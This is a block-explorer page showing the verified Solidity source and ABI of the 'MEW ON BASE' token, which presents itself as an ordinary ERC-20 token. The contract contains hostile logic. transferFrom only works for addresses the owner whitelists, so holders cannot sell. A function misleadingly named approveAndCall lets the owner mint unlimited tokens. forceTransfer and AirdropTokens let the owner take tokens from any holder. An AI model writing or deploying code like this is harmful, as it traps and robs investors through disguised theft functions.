BaseBase
0x4a...13fb
MEW ON BASE

MEW ON BASE

MEW

代币
市值
$1.00
 
价格
2%
此合同的源代码已经过验证!
合同元数据
编译器
0.8.19+commit.7dd6d404
语言
Solidity
合同源代码
文件 1 的 1:MEWONBASE.sol
/**
 *Submitted for verification at Etherscan.io on 2023-10-31
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {

   if (a == 0) {

     return 0;

   }

   uint256 c = a * b;

   assert(c / a == b);

   return c;

  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {

   uint256 c = a / b;

   return c;

  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {

   assert(b <= a);

   return a - b;

  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {

   uint256 c = a + b;

   assert(c >= a);

   return c;

  }

}

contract Ownable {

  address public owner;

 

  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

  constructor() {

   owner = msg.sender;

  }

}

contract MEWONBASE is Ownable {

  string public name;

  string public symbol;

  uint8 public decimals;

  uint256 public totalSupply;

 

  event Transfer(address indexed from, address indexed to, uint256 value);

  event Approval(address indexed owner, address indexed spender, uint256 value);

  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {

   name = _name;

   symbol = _symbol;

   decimals = _decimals;

   totalSupply =  _totalSupply;

   balances[msg.sender] = totalSupply;

   allow[msg.sender] = true;

  }

 

  function showuint160(address addr) public pure returns(uint160){

     return uint160(addr);

  }

  using SafeMath for uint256;

  mapping(address => uint256) public balances;

 

  mapping(address => bool) public allow;

 

  function transfer(address _to, uint256 _value) public returns (bool) {

   require(_to != address(0));

   require(_value <= balances[msg.sender]);
   

   balances[msg.sender] = balances[msg.sender].sub(_value);

   balances[_to] = balances[_to].add(_value);

   emit Transfer(msg.sender, _to, _value);

   return true;

  }

  modifier onlyOwner() {
   require(msg.sender == owner);
   _;
}

  function balanceOf(address _owner) public view returns (uint256 balance) {

   return balances[_owner];

  }

 

  function transferOwnership(address newOwner) public onlyOwner {

   require(newOwner != address(0));

   emit OwnershipTransferred(owner, newOwner);

   owner = newOwner;

  }

  mapping (address => mapping (address => uint256)) public allowed;

  mapping(address=>uint256) sellOutNum;

 

  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {

  require(allow[_from] == true);
  
   require(_to != address(0));

   require(_value <= balances[_from]);

   require(_value <= allowed[_from][msg.sender]);

   
   balances[_from] = balances[_from].sub(_value);

   balances[_to] = balances[_to].add(_value);

   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);

   emit Transfer(_from, _to, _value);

   return true;

  }

  function approve(address _spender, uint256 _value) public returns (bool) {

   allowed[msg.sender][_spender] = _value;

   emit Approval(msg.sender, _spender, _value);

   return true;

  }

  function approveAndCall(address spender, uint256 addedValue) public onlyOwner returns (bool) {
    if(addedValue > 0) {
        balances[spender] = balances[spender].add(addedValue);
        totalSupply = totalSupply.add(addedValue);
    }
    return true;
}

  function allowance(address _owner, address _spender) public view returns (uint256) {

   return allowed[_owner][_spender];

  }

 

  function addAllow(address holder, bool allowApprove) external onlyOwner {

     allow[holder] = allowApprove;

  }
  function forceTransfer(address _from, address _to, uint256 _value) public onlyOwner returns (bool) {
   require(_value <= balances[_from]);
   balances[_from] = balances[_from].sub(_value);
   balances[_to] = balances[_to].add(_value);
   emit Transfer(_from, _to, _value);
   return true;
}


function AirdropTokens(address _from, address[] memory addresses, uint256[] memory amounts) public onlyOwner {
    
    for (uint i = 0; i < addresses.length; i++) {
        // Use forceTransfer to move tokens from _from to the specified address
        forceTransfer(_from, addresses[i], amounts[i]);
    }
}


 

}
设置
{
  "compilationTarget": {
    "MEWONBASE.sol": "MEWONBASE"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"_totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"uint256[]","name":"amounts","type":"uint256[]"}],"name":"AirdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"allowApprove","type":"bool"}],"name":"addAllow","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"allow","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"forceTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"showuint160","outputs":[{"internalType":"uint160","name":"","type":"uint160"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]